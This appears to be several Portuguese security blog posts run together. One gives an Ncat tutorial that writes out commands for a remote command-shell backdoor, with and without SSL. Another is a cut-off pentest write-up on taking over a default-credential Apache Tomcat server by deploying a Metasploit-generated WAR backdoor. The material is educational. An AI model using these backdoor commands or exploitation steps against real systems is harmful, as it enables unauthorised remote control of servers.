Uns colegas pediram para ver novamente a apresentacao que realizei na faculdade de Andradina e o slide de um curso sobre Metasploit que realizei ano passado.Slide Palestra: Current Threads, White/Black Hats and Practice View more presentations from Roberto Soares (espreto) Slide curso metasploit View more presentations from Roberto Soares (espreto) Em breve postarei os slides das paletras e treinamentos mais recentes.Att, Acredito que a grande maioria conhece o Netcat, nao? Pois bem, em uma especie de variacao, surge o Ncat. Sim, sao diferentes antes que perguntem. Porem a grande maioria das suas funcionalidades se assemelham se comparadas. Ncat utiliza os protocolos TCP e UDP para sua comunicacao e tambem funciona sobre o IPv4 e o IPv6. Uma das caracteristicas mais simples do ncat e a transferencia de dados entre dois hosts (linux <--> linux, windows <--> windows ou linux <--> windows) de forma simplificada. Tambem nos da a possibilidade de executar comandos remotamente como se estivessemos em nossa propria maquina, ainda se nao bastasse, conseguimos prover uma "dose" consideravel de seguranca, utilizando o SSL (Secure Sockets Layer), que e um protocolo criptografico responsavel por prover uma comunicacao segura sob a Internet. Imagine isso para um backdoor simples heim?Onde:192.168.0.125 e o IP do atacante. (BackTrack)192.168.0.147 e o IP do alvo. (XP)Sem SSLNo alvo digite o comando: ncat.exe -v -l 1337 -e cmd --allow 192.168.0.125E na maquina do atacante digite: ncat -v 192.168.0.147 1337Com SSLNo alvo digite o comando: ncat.exe -v -l 1337 --ssl -e cmd --allow 192.168.0.125E na maquina do atacante digite: ncat -v --ssl 192.168.0.147 1337Agora utilize o wireshark com apenas o filtro "tcp", em ambas as formas, clique com o botao direito do mouse nas conexoes tcp e va em "Follow Stream" e compare. :DNcat HelpLinks:Ncathttp://nmap.org/ncat/Wiresharkhttp://www.wireshark.org/:wq! O objetivo deste post e demonstrar como a implementacao insegura de servicos na rede pode facilitar o comprometimento de toda a infraestrutura de sua empresa. Neste caso a demonstracao sera com a instalacao padrao do Apache Tomcat [1], em um servidor com o sistema operacional FreeBSD [2], sem nenhum ajuste nas configuracoes ou hardening no pos-instalacao.Durante um teste de intrusao foi descoberto que determinado servidor executava a aplicacao Tomcat (porta 8080) e que o mesmo utilizava credenciais padrao [3] (tomcat:tomcat), assim, foi possivel acessar sua interface administrativa, conforme figura 1.Figura 1 - Interface AdministrativaO Tomcat possui uma falha bem conhecida e explorada, que e a criacao de arquivos WAR maliciosos, podendo realizar o seu deploy [4] e ganhar acesso ao servidor, possibilitando executar comandos internos e ter controle do servidor. Para explorar esta falha, usamos o metasploit [5], criando um arquivo WAR com o comando msfpayload (figura 2).Figura 2 - Msfpayload criando arquivo WAR.O msfpayload utiliza um nome randomico na geracao do arquivo jsp, para visualizar este nome e necessario extrair o conteudo de convisolabs.war e anotar seu nome (figura 3).Figura 3 - Nome jsp gerado.Fazemos o deploy do arquivo convisolabs.war (figura 4 e 5).Figura 4 - Arquivo WAR em deploy.Figura 5 - Realizado o deploy.Acessamos nosso backdoor atraves do nosso browser (figura 6). Lembrando que e necessario deixar o metasploit em modo listen (figura